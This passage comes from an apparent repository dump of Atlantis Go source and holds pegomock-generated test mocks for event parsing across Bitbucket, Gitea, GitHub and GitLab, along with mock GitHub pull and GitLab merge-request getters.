len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]*azuredevops.GitRepository, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(*azuredevops.GitRepository)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockEventParsing) ParseBitbucketCloudPullCommentEvent(body []byte) *MockEventParsing_ParseBitbucketCloudPullCommentEvent_OngoingVerification {\n\t_params := []pegomock.Param{body}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"ParseBitbucketCloudPullCommentEvent\", _params, verifier.timeout)\n\treturn &MockEventParsing_ParseBitbucketCloudPullCommentEvent_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockEventParsing_ParseBitbucketCloudPullCommentEvent_OngoingVerification struct {\n\tmock              *MockEventParsing\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockEventParsing_ParseBitbucketCloudPullCommentEvent_OngoingVerification) GetCapturedArguments() []byte {\n\tbody := c.GetAllCapturedArguments()\n\treturn body[len(body)-1]\n}\n\nfunc (c *MockEventParsing_ParseBitbucketCloudPullCommentEvent_OngoingVerification) GetAllCapturedArguments() (_param0 [][]byte) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([][]byte, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.([]byte)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockEventParsing) ParseBitbucketCloudPullEvent(body []byte) *MockEventParsing_ParseBitbucketCloudPullEvent_OngoingVerification {\n\t_params := []pegomock.Param{body}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"ParseBitbucketCloudPullEvent\", _params, verifier.timeout)\n\treturn &MockEventParsing_ParseBitbucketCloudPullEvent_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockEventParsing_ParseBitbucketCloudPullEvent_OngoingVerification struct {\n\tmock              *MockEventParsing\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockEventParsing_ParseBitbucketCloudPullEvent_OngoingVerification) GetCapturedArguments() []byte {\n\tbody := c.GetAllCapturedArguments()\n\treturn body[len(body)-1]\n}\n\nfunc (c *MockEventParsing_ParseBitbucketCloudPullEvent_OngoingVerification) GetAllCapturedArguments() (_param0 [][]byte) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([][]byte, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.([]byte)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockEventParsing) ParseBitbucketServerPullCommentEvent(body []byte) *MockEventParsing_ParseBitbucketServerPullCommentEvent_OngoingVerification {\n\t_params := []pegomock.Param{body}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"ParseBitbucketServerPullCommentEvent\", _params, verifier.timeout)\n\treturn &MockEventParsing_ParseBitbucketServerPullCommentEvent_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockEventParsing_ParseBitbucketServerPullCommentEvent_OngoingVerification struct {\n\tmock              *MockEventParsing\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockEventParsing_ParseBitbucketServerPullCommentEvent_OngoingVerification) GetCapturedArguments() []byte {\n\tbody := c.GetAllCapturedArguments()\n\treturn body[len(body)-1]\n}\n\nfunc (c *MockEventParsing_ParseBitbucketServerPullCommentEvent_OngoingVerification) GetAllCapturedArguments() (_param0 [][]byte) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([][]byte, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.([]byte)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockEventParsing) ParseBitbucketServerPullEvent(body []byte) *MockEventParsing_ParseBitbucketServerPullEvent_OngoingVerification {\n\t_params := []pegomock.Param{body}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"ParseBitbucketServerPullEvent\", _params, verifier.timeout)\n\treturn &MockEventParsing_ParseBitbucketServerPullEvent_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockEventParsing_ParseBitbucketServerPullEvent_OngoingVerification struct {\n\tmock              *MockEventParsing\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockEventParsing_ParseBitbucketServerPullEvent_OngoingVerification) GetCapturedArguments() []byte {\n\tbody := c.GetAllCapturedArguments()\n\treturn body[len(body)-1]\n}\n\nfunc (c *MockEventParsing_ParseBitbucketServerPullEvent_OngoingVerification) GetAllCapturedArguments() (_param0 [][]byte) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([][]byte, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.([]byte)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockEventParsing) ParseGiteaIssueCommentEvent(event gitea0.GiteaIssueCommentPayload) *MockEventParsing_ParseGiteaIssueCommentEvent_OngoingVerification {\n\t_params := []pegomock.Param{event}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"ParseGiteaIssueCommentEvent\", _params, verifier.timeout)\n\treturn &MockEventParsing_ParseGiteaIssueCommentEvent_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockEventParsing_ParseGiteaIssueCommentEvent_OngoingVerification struct {\n\tmock              *MockEventParsing\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockEventParsing_ParseGiteaIssueCommentEvent_OngoingVerification) GetCapturedArguments() gitea0.GiteaIssueCommentPayload {\n\tevent := c.GetAllCapturedArguments()\n\treturn event[len(event)-1]\n}\n\nfunc (c *MockEventParsing_ParseGiteaIssueCommentEvent_OngoingVerification) GetAllCapturedArguments() (_param0 []gitea0.GiteaIssueCommentPayload) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]gitea0.GiteaIssueCommentPayload, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(gitea0.GiteaIssueCommentPayload)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockEventParsing) ParseGiteaPull(pull *gitea.PullRequest) *MockEventParsing_ParseGiteaPull_OngoingVerification {\n\t_params := []pegomock.Param{pull}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"ParseGiteaPull\", _params, verifier.timeout)\n\treturn &MockEventParsing_ParseGiteaPull_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockEventParsing_ParseGiteaPull_OngoingVerification struct {\n\tmock              *MockEventParsing\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockEventParsing_ParseGiteaPull_OngoingVerification) GetCapturedArguments() *gitea.PullRequest {\n\tpull := c.GetAllCapturedArguments()\n\treturn pull[len(pull)-1]\n}\n\nfunc (c *MockEventParsing_ParseGiteaPull_OngoingVerification) GetAllCapturedArguments() (_param0 []*gitea.PullRequest) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]*gitea.PullRequest, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(*gitea.PullRequest)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockEventParsing) ParseGiteaPullRequestEvent(event gitea.PullRequest) *MockEventParsing_ParseGiteaPullRequestEvent_OngoingVerification {\n\t_params := []pegomock.Param{event}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"ParseGiteaPullRequestEvent\", _params, verifier.timeout)\n\treturn &MockEventParsing_ParseGiteaPullRequestEvent_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockEventParsing_ParseGiteaPullRequestEvent_OngoingVerification struct {\n\tmock              *MockEventParsing\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockEventParsing_ParseGiteaPullRequestEvent_OngoingVerification) GetCapturedArguments() gitea.PullRequest {\n\tevent := c.GetAllCapturedArguments()\n\treturn event[len(event)-1]\n}\n\nfunc (c *MockEventParsing_ParseGiteaPullRequestEvent_OngoingVerification) GetAllCapturedArguments() (_param0 []gitea.PullRequest) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]gitea.PullRequest, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(gitea.PullRequest)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockEventParsing) ParseGithubIssueCommentEvent(logger logging.SimpleLogging, comment *github.IssueCommentEvent) *MockEventParsing_ParseGithubIssueCommentEvent_OngoingVerification {\n\t_params := []pegomock.Param{logger, comment}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"ParseGithubIssueCommentEvent\", _params, verifier.timeout)\n\treturn &MockEventParsing_ParseGithubIssueCommentEvent_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockEventParsing_ParseGithubIssueCommentEvent_OngoingVerification struct {\n\tmock              *MockEventParsing\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockEventParsing_ParseGithubIssueCommentEvent_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, *github.IssueCommentEvent) {\n\tlogger, comment := c.GetAllCapturedArguments()\n\treturn logger[len(logger)-1], comment[len(comment)-1]\n}\n\nfunc (c *MockEventParsing_ParseGithubIssueCommentEvent_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []*github.IssueCommentEvent) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]logging.SimpleLogging, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(logging.SimpleLogging)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]*github.IssueCommentEvent, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(*github.IssueCommentEvent)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockEventParsing) ParseGithubPull(logger logging.SimpleLogging, ghPull *github.PullRequest) *MockEventParsing_ParseGithubPull_OngoingVerification {\n\t_params := []pegomock.Param{logger, ghPull}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"ParseGithubPull\", _params, verifier.timeout)\n\treturn &MockEventParsing_ParseGithubPull_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockEventParsing_ParseGithubPull_OngoingVerification struct {\n\tmock              *MockEventParsing\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockEventParsing_ParseGithubPull_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, *github.PullRequest) {\n\tlogger, ghPull := c.GetAllCapturedArguments()\n\treturn logger[len(logger)-1], ghPull[len(ghPull)-1]\n}\n\nfunc (c *MockEventParsing_ParseGithubPull_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []*github.PullRequest) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]logging.SimpleLogging, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(logging.SimpleLogging)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]*github.PullRequest, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(*github.PullRequest)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockEventParsing) ParseGithubPullEvent(logger logging.SimpleLogging, pullEvent *github.PullRequestEvent) *MockEventParsing_ParseGithubPullEvent_OngoingVerification {\n\t_params := []pegomock.Param{logger, pullEvent}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"ParseGithubPullEvent\", _params, verifier.timeout)\n\treturn &MockEventParsing_ParseGithubPullEvent_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockEventParsing_ParseGithubPullEvent_OngoingVerification struct {\n\tmock              *MockEventParsing\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockEventParsing_ParseGithubPullEvent_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, *github.PullRequestEvent) {\n\tlogger, pullEvent := c.GetAllCapturedArguments()\n\treturn logger[len(logger)-1], pullEvent[len(pullEvent)-1]\n}\n\nfunc (c *MockEventParsing_ParseGithubPullEvent_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []*github.PullRequestEvent) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]logging.SimpleLogging, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(logging.SimpleLogging)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]*github.PullRequestEvent, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(*github.PullRequestEvent)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockEventParsing) ParseGithubRepo(ghRepo *github.Repository) *MockEventParsing_ParseGithubRepo_OngoingVerification {\n\t_params := []pegomock.Param{ghRepo}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"ParseGithubRepo\", _params, verifier.timeout)\n\treturn &MockEventParsing_ParseGithubRepo_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockEventParsing_ParseGithubRepo_OngoingVerification struct {\n\tmock              *MockEventParsing\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockEventParsing_ParseGithubRepo_OngoingVerification) GetCapturedArguments() *github.Repository {\n\tghRepo := c.GetAllCapturedArguments()\n\treturn ghRepo[len(ghRepo)-1]\n}\n\nfunc (c *MockEventParsing_ParseGithubRepo_OngoingVerification) GetAllCapturedArguments() (_param0 []*github.Repository) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]*github.Repository, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(*github.Repository)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockEventParsing) ParseGitlabMergeRequest(mr *client_go.MergeRequest, baseRepo models.Repo) *MockEventParsing_ParseGitlabMergeRequest_OngoingVerification {\n\t_params := []pegomock.Param{mr, baseRepo}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"ParseGitlabMergeRequest\", _params, verifier.timeout)\n\treturn &MockEventParsing_ParseGitlabMergeRequest_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockEventParsing_ParseGitlabMergeRequest_OngoingVerification struct {\n\tmock              *MockEventParsing\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockEventParsing_ParseGitlabMergeRequest_OngoingVerification) GetCapturedArguments() (*client_go.MergeRequest, models.Repo) {\n\tmr, baseRepo := c.GetAllCapturedArguments()\n\treturn mr[len(mr)-1], baseRepo[len(baseRepo)-1]\n}\n\nfunc (c *MockEventParsing_ParseGitlabMergeRequest_OngoingVerification) GetAllCapturedArguments() (_param0 []*client_go.MergeRequest, _param1 []models.Repo) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]*client_go.MergeRequest, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(*client_go.MergeRequest)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]models.Repo, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(models.Repo)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockEventParsing) ParseGitlabMergeRequestCommentEvent(event client_go.MergeCommentEvent) *MockEventParsing_ParseGitlabMergeRequestCommentEvent_OngoingVerification {\n\t_params := []pegomock.Param{event}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"ParseGitlabMergeRequestCommentEvent\", _params, verifier.timeout)\n\treturn &MockEventParsing_ParseGitlabMergeRequestCommentEvent_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockEventParsing_ParseGitlabMergeRequestCommentEvent_OngoingVerification struct {\n\tmock              *MockEventParsing\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockEventParsing_ParseGitlabMergeRequestCommentEvent_OngoingVerification) GetCapturedArguments() client_go.MergeCommentEvent {\n\tevent := c.GetAllCapturedArguments()\n\treturn event[len(event)-1]\n}\n\nfunc (c *MockEventParsing_ParseGitlabMergeRequestCommentEvent_OngoingVerification) GetAllCapturedArguments() (_param0 []client_go.MergeCommentEvent) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]client_go.MergeCommentEvent, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(client_go.MergeCommentEvent)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockEventParsing) ParseGitlabMergeRequestEvent(event client_go.MergeEvent) *MockEventParsing_ParseGitlabMergeRequestEvent_OngoingVerification {\n\t_params := []pegomock.Param{event}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"ParseGitlabMergeRequestEvent\", _params, verifier.timeout)\n\treturn &MockEventParsing_ParseGitlabMergeRequestEvent_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockEventParsing_ParseGitlabMergeRequestEvent_OngoingVerification struct {\n\tmock              *MockEventParsing\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockEventParsing_ParseGitlabMergeRequestEvent_OngoingVerification) GetCapturedArguments() client_go.MergeEvent {\n\tevent := c.GetAllCapturedArguments()\n\treturn event[len(event)-1]\n}\n\nfunc (c *MockEventParsing_ParseGitlabMergeRequestEvent_OngoingVerification) GetAllCapturedArguments() (_param0 []client_go.MergeEvent) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]client_go.MergeEvent, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(client_go.MergeEvent)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockEventParsing) ParseGitlabMergeRequestUpdateEvent(event client_go.MergeEvent) *MockEventParsing_ParseGitlabMergeRequestUpdateEvent_OngoingVerification {\n\t_params := []pegomock.Param{event}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"ParseGitlabMergeRequestUpdateEvent\", _params, verifier.timeout)\n\treturn &MockEventParsing_ParseGitlabMergeRequestUpdateEvent_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockEventParsing_ParseGitlabMergeRequestUpdateEvent_OngoingVerification struct {\n\tmock              *MockEventParsing\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockEventParsing_ParseGitlabMergeRequestUpdateEvent_OngoingVerification) GetCapturedArguments() client_go.MergeEvent {\n\tevent := c.GetAllCapturedArguments()\n\treturn event[len(event)-1]\n}\n\nfunc (c *MockEventParsing_ParseGitlabMergeRequestUpdateEvent_OngoingVerification) GetAllCapturedArguments() (_param0 []client_go.MergeEvent) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]client_go.MergeEvent, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(client_go.MergeEvent)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/events/mocks/mock_github_pull_getter.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/events (interfaces: GithubPullGetter)\n\npackage mocks\n\nimport (\n\tgithub \"github.com/google/go-github/v83/github\"\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\tmodels \"github.com/runatlantis/atlantis/server/events/models\"\n\tlogging \"github.com/runatlantis/atlantis/server/logging\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockGithubPullGetter struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockGithubPullGetter(options ...pegomock.Option) *MockGithubPullGetter {\n\tmock := &MockGithubPullGetter{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockGithubPullGetter) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockGithubPullGetter) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockGithubPullGetter) GetPullRequest(logger logging.SimpleLogging, repo models.Repo, pullNum int) (*github.PullRequest, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockGithubPullGetter().\")\n\t}\n\t_params := []pegomock.Param{logger, repo, pullNum}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"GetPullRequest\", _params, []reflect.Type{reflect.TypeOf((**github.PullRequest)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 *github.PullRequest\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(*github.PullRequest)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockGithubPullGetter) VerifyWasCalledOnce() *VerifierMockGithubPullGetter {\n\treturn &VerifierMockGithubPullGetter{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockGithubPullGetter) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockGithubPullGetter {\n\treturn &VerifierMockGithubPullGetter{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockGithubPullGetter) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockGithubPullGetter {\n\treturn &VerifierMockGithubPullGetter{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockGithubPullGetter) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockGithubPullGetter {\n\treturn &VerifierMockGithubPullGetter{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockGithubPullGetter struct {\n\tmock                   *MockGithubPullGetter\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockGithubPullGetter) GetPullRequest(logger logging.SimpleLogging, repo models.Repo, pullNum int) *MockGithubPullGetter_GetPullRequest_OngoingVerification {\n\t_params := []pegomock.Param{logger, repo, pullNum}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"GetPullRequest\", _params, verifier.timeout)\n\treturn &MockGithubPullGetter_GetPullRequest_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockGithubPullGetter_GetPullRequest_OngoingVerification struct {\n\tmock              *MockGithubPullGetter\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockGithubPullGetter_GetPullRequest_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, int) {\n\tlogger, repo, pullNum := c.GetAllCapturedArguments()\n\treturn logger[len(logger)-1], repo[len(repo)-1], pullNum[len(pullNum)-1]\n}\n\nfunc (c *MockGithubPullGetter_GetPullRequest_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []int) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]logging.SimpleLogging, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(logging.SimpleLogging)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]models.Repo, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(models.Repo)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]int, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(int)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/events/mocks/mock_gitlab_merge_request_getter.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/events (interfaces: GitlabMergeRequestGetter)\n\npackage mocks\n\nimport (\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\tlogging \"github.com/runatlantis/atlantis/server/logging\"\n\tclient_go \"gitlab.com/gitlab-org/api/client-go\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockGitlabMergeRequestGetter struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockGitlabMergeRequestGetter(options ...pegomock.Option) *MockGitlabMergeRequestGetter {\n\tmock := &MockGitlabMergeRequestGetter{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockGitlabMergeRequestGetter) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockGitlabMergeRequestGetter) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockGitlabMergeRequestGetter) GetMergeRequest(logger logging.SimpleLogging, repoFullName string, pullNum int) (*client_go.MergeRequest, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockGitlabMergeRequestGetter().\")\n\t}\n\t_params := []pegomock.Param{logger, repoFullName, pullNum}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"GetMergeRequest\", _params, []reflect.Type{reflect.TypeOf((**client_go.MergeRequest)(nil)).Elem(), 